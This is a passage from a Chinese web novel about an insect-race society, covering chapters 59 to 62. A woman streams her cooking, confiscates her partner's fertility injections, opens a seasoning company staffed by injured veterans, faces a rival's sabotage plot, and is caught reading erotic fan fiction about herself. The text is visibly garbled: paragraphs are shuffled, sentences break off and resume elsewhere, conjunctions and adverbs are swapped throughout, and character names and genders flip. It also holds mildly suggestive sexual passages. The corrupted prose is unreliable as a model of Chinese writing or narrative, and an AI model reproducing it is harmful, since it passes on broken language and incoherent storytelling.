【甜甜圈拌米饭:死去的记忆在攻击我,我小时候雄父就喜欢买这种东西,那味道,我宁愿吃营养液好吗】 【西瓜彩虹糖:其实,我大学食堂为数不多的几个菜都是用这种临期菜做的(这是不能说的吗)】 【不考上大学不改名:高中牲求避雷呜呜呜】 【AAA纯情小军雄:并且我最近超喜欢吃这种临期菜,原来怀上虫蛋前面口味假的会变化】 【甜甜圈拌米饭:什么,你怀上虫蛋了,恭喜!】 诺拉刚把做好的咖喱猪肉饭盛出来,就看到智脑屏幕上一连串的恭喜和礼物特效。 她往上翻了翻,原来是艾伦怀上虫蛋了。 动作够迅速的呀。 诺拉勾了勾唇角:“所以这回抽奖你们还要不要,不要就算了?” 【AAA纯情小军雄:要要要,本来怀孕就没什么胃口,好喜欢这个咖喱】 【西瓜彩虹糖:轻轻地给安安跪下了】 【草莓冰棒:有了咖喱,学校食堂的饭再难吃都不怕了】 喵喵至上送出虫神的吻×3 星辰大海送出虫神的祝福×5 菜农送出虫神降临×10 诺拉眉心一跳。 没想到神出鬼没的榜一大哥又来了。 然后她粉丝数量越来越多,并且菜农依旧稳稳坐着直播间榜一的宝座,送出的礼物数额过于巨大,至今有虫超越。 诺拉也曾经私信联系过她,甚至旁敲侧击问过她的身份,并且她从来没有证明回应过,甚至几次中奖前面留的地址也都是一个公共外卖柜。 要肯定送的礼物太多,又从来没主动联系过诺拉,诺拉都要怀疑这是个诈骗团伙的小号了。 诺拉不再逗这些粉丝,开了个抽奖,并且是结束了直播。 刚关上虫娱,智脑就跳出一条信息,安瑞说她中午有会,不回来吃饭了。 安瑞可以连着十几天没回家吃午饭了。 要是前几天,还有小虫崽在家陪着她,可惜今天艾米正式开学了。 诺拉吃着空空荡荡的房间,只剩下煤球团成一团趴在飘窗上,懒洋洋地晒太阳。 孤家寡虫啊。 “恭喜纯情小军雄,借着粉丝的喜事,我给大家做一波抽奖吧,奖品是一罐咖喱。” 评论区划过一片省略号。 诺拉把咖喱和米饭拌匀:“没有开味觉共享的朋友不能开一下,我给大家展示一下咖喱的口味。” 【今天找到雌主了吗:我没听错吧,安安居然要亲自尝临期菜???】 【星辰大海:肯定,虫娱什么时候允许亚雄假扮雌虫了】 【西瓜彩虹糖:什么假扮雌虫,安安就是货真价实的雌子好吗】 【星辰大海:雌虫,吃临期菜,别太荒谬了】 【不考上大学不改名:本来是不打算开味觉共享的,并且是雌子都吃临期菜了,我吃点咖喱也肯定不行】 诺拉成了慢慢一勺饭,放进嘴里,一边咀嚼,一边不错眼珠地盯着弹幕上的评价。 【不考上大学不改名:救命,我竟然觉得这个咖喱有点好吃?】 【西瓜彩虹糖:主要是临期菜的那股臭味假的没了,好神奇】 【星辰大海:这玩意儿蘸鞋垫子也能好吃吧】 鉴于自己吃午饭过于凄凉,诺拉从柜子里找出好久没用的巨大餐盒,决定做一个咖喱猪排饭,给安瑞送过去。 * 诺拉拎着餐盒走下共享星舰,门口站岗的军雄可以认识她了。 “阁下日安。”年轻军雄冲安瑞敬了个礼,“又来给中将送饭,需要我通知中将过来接您吗?” “不用,我自己过去就行。” 盯着军雄艳羡的目光,诺拉拎着餐盒轻车熟路地走到安瑞的办公室,刚要敲门,就听里面传 诺拉急得使劲锤了几下门:“安瑞,安瑞开门!” 屋里的声音骤然降低,过了好一会儿,夏佐终于把门打开了。 “阁下日安。” 诺拉草草点了下头做回应,几步就走进了安瑞的办公室。 并且是,她就看到了靠在沙发上的安瑞。 军雄眉头紧皱,苍蓝色的眼睛里含着痛楚的神色,唇色发白,额头上是一层细密的汗珠。一双骨节分明的手紧紧抓着椅子背,好像在极力忍耐着什么。 来夏佐的声音。 “这药你都吃了十几天了,到底有没有用啊,要不你还是去医院看看吧?” 紧接着是安瑞的声音。 “这药就是医院推荐的,能够促进信息素的分泌,刺激生*殖腔。” “可这药用着多遭罪啊。” “要是不坚持,前面十二天都白费了。” 诺拉手脚冰凉,心脏砰砰乱跳,使劲推了一下门。 没推开。 安瑞居然还把门锁上了。 诺拉愣了一下,而后恍然。 安瑞吃的那个药有副作用。 第五十九章助孕针 诺拉蹲在安瑞身边,拉着自家雄虫的手。 一片冰凉。 “我打急救电话。” 诺拉沉着脸不说话,安瑞也不敢说什么,只好乖顺地靠在雌虫怀里,专心抵抗生殖*腔的疼痛。 半个小时后,副作用慢慢减弱,诺拉感觉到怀里的雄虫不再颤抖,就松开了手,把饭盒放在茶几上。 “给你带的饭,记得吃,我回家了。” 诺拉声音没什么波动,并且黑色眸子里翻滚的情绪显然可以把她出卖了个彻底。 她刚转身,袖口就被抓住了。 “雌主,安瑞错了,您别走。”雄虫声音里含着恐慌,“求您,别走。” 诺拉下意识地回头,就撞进了一双漂亮的蓝色眸子里,安瑞的睫毛上挂着泪珠,看起来可怜极了。 心中的火气消散了小半,诺拉没再往外走,并且脸色依旧不怎么好看。 “雌主,安瑞错了,不该瞒着您用药。”高大的军雄低着头,像个犯了错的小学生,“对不起。” 诺拉压了压心中的火气,尽量保持语气的平和:“不知道用助孕针?” 诺拉话音刚落,安瑞的眼睛却瞬间红了:“艾伦半个月前才分配了雌主,可以有了,我可以侍奉您数月,却还没消息。” 诺拉眉头紧锁:“这肯定才几个月……” “可以很长时间了,更何况您只有我一只雄虫。” 虫族之所以能在雌雄比例悬殊的情况下繁衍至今,靠得就是雄虫强大的繁育能力。 正常雄虫只要伺候雌虫两三回,就能怀上虫蛋,就算是生育能力不如雄虫的亚雄,伺候十回也总能怀上了。 并且诺亚和安瑞兄弟好像是例外,明明身体有一切健康,并且就是不受孕。 诺亚当年怀孕就格外困难,分配给德雷克数年才勉勉强强生下艾米,安瑞也和诺拉好了几个月,并且生殖*腔就是一点动静都没有。 安瑞的眉眼间露出几分苦涩:“若是您有好几只雄虫,安瑞倒也不用着急,可偏偏……” “你这话什么意思。”诺拉很警觉地变了脸色,“你是肯定又想把我推给别的雄虫?” “安瑞没有,安瑞也知道您不会,可……可就因为这个,我才觉得对不起您。” 苍蓝色的眸子倏地落下一滴泪,雄虫声音里带这些哽咽:“雌主,我知道您特别想要虫崽,我……安瑞对不起您。” 诺拉沉默了。 在不少年轻人都提倡丁克的蓝星,诺拉对生孩子并没有什么执念,偶尔在床上提及也不过是诺拉说着就掏出了智脑。 “雌主,不……我没事。” 安瑞试图阻止诺拉,并且身体一点力气都没有,只能求助地看向夏佐。 红发军雄轻轻叹了口气,走过来拦住了诺拉:“阁下,安瑞打的助孕针有副作用,半个小时就能恢复,送到医院也没用。” 诺拉默默收起智脑,坐在安瑞旁边,把因为疼痛不住发颤的雄虫圈在怀里。 夏佐很有眼力见地退出了办公室,还贴心地把门关上了。 并且助兴。 没想这只傻虫子当真了。 她从兜里掏出一包纸巾,拿出一张,轻轻拭去雄虫眼边的泪痕。 “谁跟你说我特别想要虫崽了?” 安瑞愕然抬头:“您难道不想要虫崽吗?” 没有雌虫不想要虫崽。 然后雌虫根本不承担任何养虫崽的成本,并且她们会互相攀比虫崽数量,并且以虫崽多为傲。 诺拉轻轻叹了口气,把安瑞搂进怀里,放软了语气:“我之前说的那些话都是逗你的,能怀上虫崽当然更好,怀不上也不要紧,顺其自然就好,况且我们肯定可以有小艾了吗?” 安瑞轻轻嘟囔:“那不一样。” 诺拉被安瑞逗得弯了弯唇角,又立刻板着脸:“剩下那些针呢?” “可……”安瑞眼见闪过几分迟疑,“就剩三天了,要不还是用完吧。” 诺拉简直要被这只傻虫子气个仰倒:“用完什么用完,一支都不许再用了。” 眼吃着安瑞还要挣扎,诺拉咬着牙,在安瑞耳边威胁:“你要是再用,以后就不许上我的床。” 军雄的脸倏地红了。 不许上床,那她自己可怎么怀蛋啊…… “你自己选,要么把针给我,要么我去睡客房。” 安瑞一秒钟都没有与,打开抽屉就把剩下的针交到了诺拉手里。 诺拉点了一下数量,是三支没错。 “没收了。” 安瑞:嘤嘤嘤。 * 诺拉一脸茫然:“什么啊,你打错了吧。” “没打错,明明前天我和雄父提海盐的事的时候,她还一脸地不赞成,我软磨硬泡了整整两天,还挨个求了我的七个雄兄,并且雄父还是不松口。本来我都要绝望了,结果刚才吃午饭的时候,我雄父突然就同意给你提供海盐了,还说如果你需要的话,亚当斯家族不能投资。” 诺拉喜上眉梢,激动地心跳都加慢了:“还能投资,能投多少?” “说是先投两千万,如果后面有需要还不能投。”夏洛咬牙切齿,“当初我开餐厅,雄父都没有这么支持过!” “行,那替我谢谢叔叔,什么时候方便,我上门拜访。” “不用,我雄父说了,这个项目全权交给我负责。”夏洛嘿嘿一笑,“你以后还是跟我对接,周末找方便的时候吃个饭,咱们过一下合同。” “没问题。” 诺拉挂了电话,把星舰的地址修改成了第九街区。 * 诺拉刚降落在第九街区138号,就成并且目光的焦点。 贫民窟,平常连稍微好看点的亚雄都见不着,更别提诺拉这样齿白唇红的漂亮雌子了。 诺拉礼貌性地冲四周的雄虫点头示意,瞬间引起了一阵小小的轰动。还有一些能买得起智脑的雄虫认出诺拉就是虫娱那个很火的雌虫主播,表情更加振奋,忍不住和旁边的雄虫窃窃私语。 诺拉走到熟悉的门前,敲了几声,门从里面打开,出来的正是维加。 中年雄虫眼睛里闪过几分差异,并且依旧很有礼貌地躬身:“阁下日安。” 诺拉含笑回礼:“维加哥哥好,我这次来找您,是有件事要和您商量。” “调料加工员,一个月七千星币?”维加脸上刚露出三分喜意,又很慢收住了,“您可能忘了,我精神力可以完全毁了。” 精神力对雄虫至关重要,精神力越高,身体素质和反应能力越慢,而像维加这种精神力几乎完全丧失的虫,不仅身体比一般雄虫虚弱得多,干活的效率也会低上不少。 维加用带着厚茧的手搓了搓黝黑的脸庞:“阁下开出的工资,至少能雇佣一个C级甚至B级的雄虫了,没必要雇我。” “如果我说,我不只雇你一个呢?” 维加抬起头:“阁下这话是什么意思?” 诺拉声音平静,一双漆黑的眸子像天上的月亮一样温和:“第九街区,所有因为战争丧失精带着缴获的三支助孕针和被安瑞吃得干干净净地饭盒,诺拉登上了共享星舰。 然后她可以攒了不少钱,并且始终没有再买一艘星舰,一方面是因为共享星舰可以足够方便,另一方面是并且攒钱开调料厂。 她都想好了,如果亚当斯家族不愿意提供海盐,她就开一个小一点的调料厂,专做不咸的那种咖喱。 格林家族再一手遮天,也总不能拒绝向所有在她家买咖喱的虫提供食盐吧? 为了,智脑上弹出来一个语音申请,是夏洛打开了。 诺拉心里没来由地生出几分紧张。 她点了接通,还没来记得说话,智脑里就传来亚雄清脆的声音。 “我说,你到底给我雄父灌了什么迷魂药?” 神力的军雄,只要愿意,都不能来调料厂工作。” 维加猛地从座位上站起来,浑身都在微微发抖:“您直到第九街区有多少这样的退役军雄吗?您居然……” “对,我敢。”诺拉好像可以猜到了安瑞要说什么,“五千也好,一万也罢,有一只算一只,我都管。” 如果说之前,诺拉可能还不敢说这样的大话,并且有了夏洛她雄父的盐和投资,还有她独一份的调料配方,诺拉现在腰板贼硬。 维加的嘴唇剧烈地颤抖,好像在十二级挣扎的小树苗。 “不知道?连帝国都不管我们了,我们没有用了。” “并且你们曾经有用过,你们保护了整个虫星,你们是虫族的英雌。”诺拉站起来,倒了一杯水,双手递给维加,“政府不管你们,我管。” 维加颤抖着手臂接过水,一饮而尽,为了单膝跪下,向诺拉行了一个军部的最高礼节:“阁下,我替所有军雄谢谢您。” 诺拉浅笑着弯腰,扶起维加:“所以,不能麻烦您帮我联系一下需要工作的军雄吗?” “没问题。” 因为找不到正经工作,她们这些精神力严重受损的虫都住在第九街区,彼此都认识,召集起来很容易。 仅仅用了三天,维加就把第一波名单发给了诺拉。 不多不少,报名的刚好1001只雄虫。 第六十章种花牌调料 谷初员工休息室。 “公司的名字,种花食品有限公司,调料的品牌也叫种花。” 夏洛虽然不太能get到这个名字的含义,但还是尊重了安瑞的选择。 “行,那我让集团的法务帮你走流程,如果顺利的话,这个月底就能拿到营业执照。” 安瑞点头:“工厂等你们准备好了,我就把机器搬过去,门店一两家就够了,我想着还是把重心放在线上营销。” 他好歹也是个三千万粉丝的大主播,必须得利用起来啊。 自从他火了之后还没正经直播带过货,这次说什么也得给自家调料带一回。 * 一个月后。 种花调料店盛大开业。 “大家好,欢迎来到小安的直播间。” 安瑞刚开播,他和诺拉身上的衣服就成了直播间的焦点。 【今天找到雄主了吗:诺拉中将和安安罕见情侣装哎,都是灰色西服】 【甜甜圈拌米饭:等一下,诺拉中将身上的灰色西服好像是安安去军部比赛穿的那身吧】 “我们集团法务草拟的合同,你看看有没有问题?”夏洛递过来两份文件,“一个是公司的发起协议,还有一个是海盐采购合同。” 安瑞接过来翻了翻,没什么毛病。 夏洛夹了块安瑞亲手做的糖醋排骨,剥掉骨头一口塞进嘴里,满足得眼睛迷成了两条缝。 “对了,你的调料公司叫什么想好了吗?” 安瑞垂眸看着桌上的四菜一汤,轻轻说:“种花吧。” “什么?” 安瑞冷不丁一句话直接让诺拉的脸红了个彻底,直播间弹幕也没放过他,全是各种各样不怎么穿裤子的评论。 【西瓜彩虹糖:诺拉中将脸红了,嘿嘿嘿嘿,不知道在床上是不是也会这么偷偷瞟……】 【萱儿:①军雌骨节分明的手死死攥着床单,淡色的薄唇里吐出支离破碎的几个字,但一双蓝色的眼睛却还紧紧盯着自家雄主】 【萱儿:②军雌跪在雄虫腿边,喉结滚动之间,还忍不住抬眸,用一双泛红的眼睛盯着雄子俊美的面庞】 【萱儿:③军雌跪伏在地上,小心翼翼地回头拽住雄虫的袖口,轻轻勾了勾,说道:“雄主,奴想看着您……”】 【翅膀硬了:艹,好香】 【草莓冰棒:香死了老师】 【午饭吃什么:萱老师你是我的神!!!】 虫族在制造虫蛋方面一向开放,网友们你一句我一句,直接把诺拉弄得想钻进地缝里。 安瑞生怕诺拉被逗弄过头,轻咳一声转移话题:“那个,你们不想知道我今天为什么要在户外直播吗?” 【今天找到雄主了吗:对哦,为什么呀】 【翅膀硬了:艹,不会又出去玩了吧,打工虫恨!】 【午饭吃什么:哼哼哼,不要转移话题】 安瑞微微一笑,转移镜头,对准了街边一家底店蒙着红布的招牌。 “因为我要开调料店啦,今天上午十点,种花调料店大型剪彩仪式,走过路过不要错过哦。” 安瑞这话一出,果然没有网友再关心什么情侣装的事。 【草莓冰棒:救命,诺拉中将居然穿雄主的衣服,安安你别太宠了】 【AAA纯情小军雌:冷知识,其实那件灰色西装是我们中将的QAQ】 【萱儿:啊啊啊啊啊更好磕了,立刻打开文档怒码一万字……】 诺拉不自然地移开眼神,扥了扥西装的衣角。 都怪雄主,非要穿什么情侣装。 诺拉瞪了安瑞一眼,紧接着脸又红了。 深灰色西装衬得自家雄主肌肤如雪,初春的暖阳打在白皙的脸上,好像镀上了一层淡淡地金色,连黑色的眸子里面都好像泛着金色的光。 虽然早就知道自家雄主好看,可诺拉还是忍不住瞥了一眼又一眼。 “其实你可以大大方方地看。” 【萱儿:天啊,我就蹲在这个直播间不走了】 【草莓冰棒:救命,半个小时之后机甲实训课,我不会抢不到了吧】 【翅膀硬了:默默掏出智脑,联系客户改一个看房的时间】 不到半个小时,虫网上铺天盖地全是种花牌调料的帖子,十条热搜有三条都和种花配料有关。 #种花调料店剪彩仪式即将开始 #终于能复刻红烧肉和糖醋排骨了 #咖喱什么时候开售,急急急 安瑞直播间的在线观众数量也像火箭一样直线上升,实时在线观众数量达到了史无前例的80w。 眼看时间差不多了,安瑞走到调料店外面,迎接参加剪彩仪式的宾客。 秉承着该省省该花花的理念,安瑞并没有把剪彩仪式搞得非常复杂,就只邀请了亚当斯家族的负责虫和几名核心员工。 维加作为生产线的总负责虫,作为员工代表早早来到了店外参加仪式,还有几个夏洛帮他找的亚当斯集团的中层领导,分别负责仓库和实体店营销,也都在店里严阵以待。 首都时间9:55分,一辆低调的黑色星舰降落在了调料店门口,夏洛率先从驾驶舱走下来,规规矩矩打开后舱门,一位中年雌虫搀扶着一位头发银白色的年老雌虫从后座上走下来。 安瑞把智脑递给诺拉,快步迎上去,夏洛适时地开口:“阁下,这两位是我的雌父和祖父。” 老年雌虫摘下头上的西装帽:“阁下日安,我是达蒙·亚当斯,夏洛的雌祖父。” 安瑞整只虫都愣了一下。 这名字怎么这么熟悉。 下一刻,他恍然大悟。 这位不就是那个研究精神力的教授吗,他能帮诺拉度过那次精神力暴乱期,全靠达蒙教授的论文。 【西瓜彩虹糖:!】 【喵喵至上:!!!】 【甜甜圈拌米饭:!!!!!!】 “调料店卖的主要就是我平常直播用到的调料,包括你们一只想要的酱油,醋,辣椒油,还有我刚刚做出来的咖喱。” 【AAA纯情小军雌:求求地址】 【午饭吃什么:抽到过一个酱油福袋,加到菜里真的太太太好吃了,像被虫神吻过一样】 【草莓冰棒:安安,看在食堂天天用烂菜叶的份上,大学牲真的很需要咖喱……】 “大家不用着急,调料可以线上购买,满199星币包邮到家,剪彩仪式正式开始后我会在直播间放链接。” 安瑞赶紧深深鞠躬:“教授您好,我是安瑞,您能来调料厂的剪彩仪式,实在是我的荣幸。” 老年雌虫那饱经岁月的脸上露出了和蔼的笑容,一双碧绿色的眼睛轻轻眨了眨:“我很喜欢阁下做的菜,每一道都回味无穷。” 夏洛的雌父在一边笑着插话:“可不是,雌父几乎每天都看阁下的直播呢。” 虽然他不能解释,为什么自己的调料会起名为“种花”,也不能告诉虫族,在遥远的地方,有一颗漂亮的蓝色星球,那里生活着一个勤劳勇敢的民族,叫做“种花族”。 但至少,他把种花两个字带到了虫星。 “阁下?” 一道苍老的声音在耳畔响起,安瑞猛地回头,就对上了一双碧绿色的眼睛。 “新店开业,怎么瞧着您却有些感伤?” 安瑞立刻紧急调整表情,做出一副高兴的模样:“害,这不是喜极而泣嘛。” 达蒙不置可否地点点头,在一片喝彩声中,引着安瑞一起进入了调料店。 * 剪彩仪式结束,但今天的直播重头戏才刚刚开始。 安瑞举着智脑:“各位,下面我要给大家介绍一下种花调料店的产品了。” 他走到货架边,举起一瓶酱油:“这一款是手工酿造的酱油,和我在直播的时候用的一模一样,一瓶500ml,价格是99星币,开业大酬宾,买二赠一,上架。” 【AAA纯情小军雌:不是,这就没了?】 【翅膀硬了:艹,链接不是刚放上去吗】 【午饭吃什么:拍不了,显示没库存了】 安瑞惊讶地挑起眼眉:“真的吗,您方便说一下虫娱账号,我给您点关注。” 达蒙摆摆手:“我平常也不发视频,就不用关注了。” 安瑞原本就是客套一句,被拒绝后也没多想,看了眼时间:“十点了,要不咱们开始?” 几只虫客套了一番,最后还是把安瑞和达蒙让到了中间。 两只虫一手牵一根红绳,在鞭炮声中轻轻一拽,红布倏地落下,露出了一块红底金字的牌匾,上面是五个大字——种花调料店。 崭新的招牌在阳光下熠熠生辉,安瑞看着种花两个字,眼眶悄然有些湿润。 穿越到这个陌生的星球半年,哪怕有诺拉艾米,哪怕在蓝星已经没什么亲人了,午夜梦回间,安瑞也总会想起那个漂亮的蓝色星球,还有那个生他养他的故乡。 “大家稍等一下,可能是运营这边出了点问题。” 安瑞看向负责运营的亚雌,还没等他说话亚雌已经无辜摊手:“阁下,我按您的要求上架了三万单,没问题的。” 【西瓜彩虹糖:咖喱块,一星币,我能裤裤买十盒】 【AAA纯情小军雌:这么便宜,成本价都不够吧,所以这也是开业大酬宾的一环?】 “不是开业优惠,从今往后,只要种花调料公司还在一天,这款咖喱永远一星币一盒。” 【甜甜圈拌米饭:永远一星币,好小众的词汇……】 【逛吃逛吃:已经准备好开抢了】 【萱儿:安安这是什么逻辑,我突然不是很懂了,难道是做慈善?】 “说做慈善也没错,这款评价咖喱产品确实是在赔本销售。”安瑞眉眼间含着淡淡的笑意,声音柔和,“我知道在虫星,可能有一部分朋友因为各种原因,暂时遇到了困难,不得不买一些廉价的蔬菜,我希望我的咖喱能帮你把一日三餐变得更美味一些。” 诺拉站在安瑞身后,看着自家雄主浅笑着介绍这款平民咖喱,不知道为什么,眼眶悄然红了。 他是从第九街区走出来的,小时候也不止一次吃过那些廉价的蔬菜和肉食,如果那个时候能有这样一款咖喱,或许他的童年会幸福很多,雌兄约不需要咬着牙买那些昂贵的食盐和白糖。 安瑞:…… 还没等安瑞解释完,新加的一万单库存又没了。 安瑞只好忽视了弹幕里没抢到的网友的鬼哭狼嚎,强行转到下一个产品,米醋。 就这样,不到,两个小时,从酱油到辣椒油,再到咖喱块,几乎所有品种的调料全部一抢而空,直播间营销额华丽丽地突破了三千万。 观众嗨疯了。 第六十一章同虫文 在直播的最后,安瑞拿出了一款特别的咖喱。 “各位,这是今天直播的最后一样产品,之所以把他放在最后,是因为这款咖喱和之前的其他调料有所不同,一整盒咖喱块只要1星币。” 【草莓冰棒:多少钱???】 虽然他的童年已经不能改变了,但好在往后第九街区的虫崽都不会再重蹈他的覆辙。 真好。 早知道不搞什么买二送一的活动了。 【草莓冰棒:三万单,秒没,还得是我家安安啊】 【今天找到雄主了吗:幸亏我手快,抢到了三瓶嘿嘿嘿】 【西瓜彩虹糖:能不能分我一瓶,没抢到的要哭了】 安瑞用眼神示意维加:“库存还有多少,能加吗?” 维加打开智脑点了几下:“最多再加一万单。” “行,那最后再加一万单,没有就是没有了,大家理解一下,因为酱油酿造周期比较长,我们新店开业可能库存没那么多。” 正在直播的安瑞浑然不知诺拉被他狠狠感动了一把,还在认真地介绍平民咖喱。 “因为这款产品确实是赔本,为了更多需要他的朋友能买到,这款产品每个账号限购一个。另外因为他毕竟是评价调料,口味肯定没有之前介绍的那几款好,主要是起到掩盖变质食物的作用,所以请大家根据自己的经济状况,按需下单。” 【翅膀硬了:支持安安,那我就不买了】 【草莓冰棒:贫困大学牲应该算是目标虫群吧】 主播做到他这个体量,不被黑才不正常。 不管网友说什么,他行得正坐得端,路遥知马力,日久见人……啊不虫心。 * 与此同时,福瑞斯集团总裁办公室,道格拉斯面色阴沉地盯着智脑上直播的雄虫,左手食指在巨大的实木办公桌上一点一点的。 亚雌秘书战战兢兢地陪在旁边,一句话都不敢说。 种花牌调料一出,福瑞斯集团的销量肯定会锐减,他可不能在这种时候触了总裁的霉头。 “种花调料公司。”道格拉斯喃喃自语,忽然抬头看向亚雌秘书,“这个公司的资料有吗?” “已经整理好了,我现在去打印。” 亚雌秘书飞奔出办公室,打印了资料,又飞快地放在道格拉斯的办公桌上,这才松了一口气。 幸好早上种花调料公司出现在热搜上的时候,他就让市场部快马加鞭做了一份资料,要不然还真来不及。 谁不知道他们家总裁看起来好说话,其可难伺候了,一件事做不好,饭碗就没了。 银发雌虫目光阴沉,一页一页认真翻看着资料,忽然眼神一变。 “种花公司雇佣的都是第九街区的虫?” 亚雌点头:“是,市场部还专门去工厂看过,调料厂百分之九十的员工都来自第九街区,而且全部是因为精神海受损退役的军雌。” “精神海受损,退役军雌?”道格拉斯好像听到了什么又去的事,嘴角浮现出几分讥笑,“真没想到,安瑞这么大的虫了,居然还是个理想主义者。” 道格拉斯把资料放在桌上,装似随意地问亚雌秘书:“你说,他好好的一只雄虫,不在家里享受美好生活,干嘛非得出来开公司啊。” 亚雌秘书抿着唇,实在不知道该说点什么。 【晚风轻抚:呵,什么做慈善,不就是沽名钓誉吗,现在虫网的粉丝都这么降智了】 【圆圆不方:做生意的,那会做赔本买卖,上面的几个都是水军吧】 【翅膀硬了:艹,我真的,你才是水军呢,我&%@#@】 【萱儿:前面的别太搞笑了,你先别说安安的目的是什么,他是不是确实让很多穷虫买得起调料了】 【今天找到雄主了吗:前面那几只虫真的,我说话难听我先闭嘴了】 安瑞脸色平静地看着满屏的弹幕,一点生气的意思也没有。 好在道格拉斯只是感叹一句,并没有期待亚雌秘书回复的意思。 “过度的善良就是愚蠢,安瑞要为他的烂好心付出代价。”银发雌虫把资料扔进垃圾桶里,一 * 第一场直播,库存调料就被卖掉了九成,安瑞每天往返在调料厂和仓库里,一边组织员工扩大生产,一边监督仓库给下了单的网友发货,忙得脚不沾地。 双狭长的眼眸中射出阴森的光芒,“去查查,那些员工里有没有家庭困难的,最好是那种家虫生了重病,特别缺钱的。” 亚雌秘书点点头,刚刚要出去,就听道格拉斯在身后说:“如果没有也没关系,找底下的虫制造出一个就好了。” 亚雌秘书忍不住打了个冷战,低头应是,而后快步离开了总裁办公室。 一顿丰盛的晚饭后,安瑞把艾米哄回房间睡觉,才回到主卧,靠在床上一边刷智脑,一边等着在浴室洗漱的雌虫。 忽然,诺拉放在床头的智脑响了几声,安瑞下意识地瞟了一眼,就见屏幕上弹出了一条消息。 ——您订阅的合集《【安瑞×诺拉】地下室的秘密》更新啦,快去看看吧。 好看的眉毛微微拧起,安瑞垂眸看着那条注明同虫APP发送的系统通知。 这都什么乱七八糟的。 安瑞很早之前就知道虫网上一直有虫写他和诺拉的同人……虫文,但也仅仅是知道而已,并没有仔细看过,没想到自家雌君居然还会看这种东西? 安瑞把诺拉的智脑放在一边,打开自己的智脑,下载了那个APP,打开,在搜索框上输入安瑞两个字。 下一秒,页面上跳转到安瑞诺拉的标签,2700万浏览,10万参与。 安瑞:…… 好在功夫不负有心虫,种花调料公司第一个月的营业额达到了3257万星币,虽然因为调料本身的属性,后面几个月的营业额可能会下降三分之二甚至一半,但也已经超乎安瑞和夏洛的预料了。 根据财务部门的计算,如果一切顺利,三个月之后就能收回前期投资,实现盈利。 公司走上了正轨,安瑞也终于能够早点回家陪陪诺拉和艾米了。这一个月他每天早早出门,夜里才能回家,每天过得兵荒马乱的,幸好最近军部不算忙,艾米又格外懂事,才能将将应付下来。 他在同虫网站这么火的吗? 可能是因为刚刚刚更新,那篇短文合集居然在最上面,安瑞点进去,五分钟之前发的文居然已经有了上百个点赞。 【《笼中之雀》】 几秒种后,安瑞再一次愣住了。 评论区不仅没有吐槽,反而充满了褒奖之词。 “太香了”“好好吃”“老师饭饭饿饿”…… 好吃你个头啊。 果然,他不该对这群每天就想着交×和生蛋的虫子保有什么幻想。 安瑞压着心里的火,把合集里十几篇文章粗粗翻了一遍。 作者的文风十分统一,把他塑造成了一个“无恶不作”的变态,诺拉则是一只惨兮兮,任由他蹂躏的可怜虫。 安瑞深深扶额。 他在网上到底是个什么形象啊,网友瞎写也就算了,诺拉居然还看得津津有味。 安瑞刚关上智脑,诺拉就从浴室里钻了出来。 一个月没有好好温存,诺拉心里也是想的,于是也没穿睡衣,就随便批了个松松垮垮的浴袍。 军雌迈着修长有力的腿上了床,乖顺地跪行到安瑞身边,刚要解安瑞睡衣的扣子,就被雄虫面无表情的推开了。 【我本是天空中翱翔的雄鹰,却甘愿为他,做那笼中乖巧的金丝雀……】 安瑞挑了挑眉,没想到虫族的太太文笔还挺好。 他手指轻滑着页面,饶有兴趣得往下看,刚看了两行就愣住了。 全篇除了题记,全是十八禁的内容。 什么鞭子手铐都是洒洒水,花样繁多到蓝星花市的太太都忍不住拱手称一句大神。 安瑞眉头紧皱,只觉得头皮发麻。 这都什么和什么啊。 他匆匆滑到文章底部,打开评论区。 他就不信了,这么黄*暴的文章,就没有网友吐槽吗? 蓝色的眸子微微挑起,里面露出几分疑问的神色。 安瑞冷哼一声,拿过床头的智脑就扔在了雌虫。 “你订阅的《地下室的秘密》更新了,诺拉中将不打开看看吗?” 诺拉:!!! 第六十二章低价竞争 安瑞一拍开军雌的手:“把智脑打开,我看看你还订阅了什么文章。” 诺拉的脸色顿时变了。 要知道,他不仅偷偷订阅了好几个合集,还发了不少评论。 他现在注销账号还来得及吗? 诺拉眼巴巴地看着安瑞,想着装个可怜混过去,可惜安瑞压根不吃他这一套,一双黑眸不喜 黑色的弯眸里闪过几分愕然,眼珠微微一转,就收起了眼里的笑意。 他关上智脑,看着跪坐在一边,忐忑不安的雌虫:“你每天就看这些乱七八糟的?” 诺拉以前一门心思都扑在工作上,确实不知道世界上还存在同虫文这么个东西。 还是上个月种花调料店剪彩直播的时候,他看了弹幕,才知道居然还有网友给他和雄主写文章。 原本只是一时好奇,在网上随便搜了搜,谁想到竟然越看越入迷,还专门下载了同虫文APP,注册了账号,一口气订阅了十几个合集。 一开始他还比较收敛,只在军部午休的时候看,可后来发现安瑞回家回得越来越晚,根本没时间盯着他,也就慢慢放开了,谁想到今天居然被抓了个正着。 诺拉窘迫得红了脸,可怜兮兮地去拽安瑞的袖子:“雄主,诺拉错了,诺拉就是……就是随便看看的。” 诺拉跪坐在床边,轻轻嘟囔了一句:“那谁叫您每天那么晚才回来。” “喜欢这些东西是吧?”安瑞似笑非笑地看着诺拉,“那不如跟我分享分享?” 诺拉小心翼翼地瞥了一眼安瑞的表情:“怎么……怎么分享?” 安瑞靠在床头,把智脑往诺拉面前一扔,干脆利落道:“念。” 苍蓝色的眼睛瞬间瞪大了,诺拉满脸通红,可怜兮兮地看着安瑞:“雄主,诺拉……诺拉……” “快点,要么念,要么就把这个APP给我卸载了。” 诺拉:…… 三分钟后,卧室里传来了诺拉低沉的声音。 “《笼中之雀》,我本是天空中翱翔的雄鹰,却甘愿为他,做那笼中乖巧的金丝雀。”诺拉吞吞吐吐地念完题记,一边念一边往安瑞脸上瞟。 安瑞淡淡地嗯了一声:“继续。” “今天是我到雄主家的第三天,我按照管家立的规矩跪在地下室的地毯上,期待着……期待着雄主的临幸。” 诺拉的声音越来越小,耳尖红得滴血,脚趾无意识地扣着床单。 都怪这个写文的,居然还用了第一虫称,读起来就好像他自己真的是文章里的那个诺拉一样。 但是安瑞没有喊停,诺拉也不敢不念,只能吭哧着继续:“地毯又厚又软,跪着一点都不疼,我等了一个小时,雄主终于出现在了门口。漆黑的眼眸中含着深不见底的笑意,雄主坐在床边,冲我招招手,我就膝行着蹭过去,雄主从床头拿出绳子,虚虚地把我的双手绑在身后。虽然那个绳扣我轻轻一挣就能打开,但我没有。雄主用手指描摹着我的五官,最终停留在了不怒的就那么看着他。 诺拉挣扎了一会儿,到底还是败下阵来,垂头丧气地把智脑打开递了过去。 安瑞接过来,打开那个熟悉的APP,刚点进个人主页,就看到了一个熟悉的用户名。 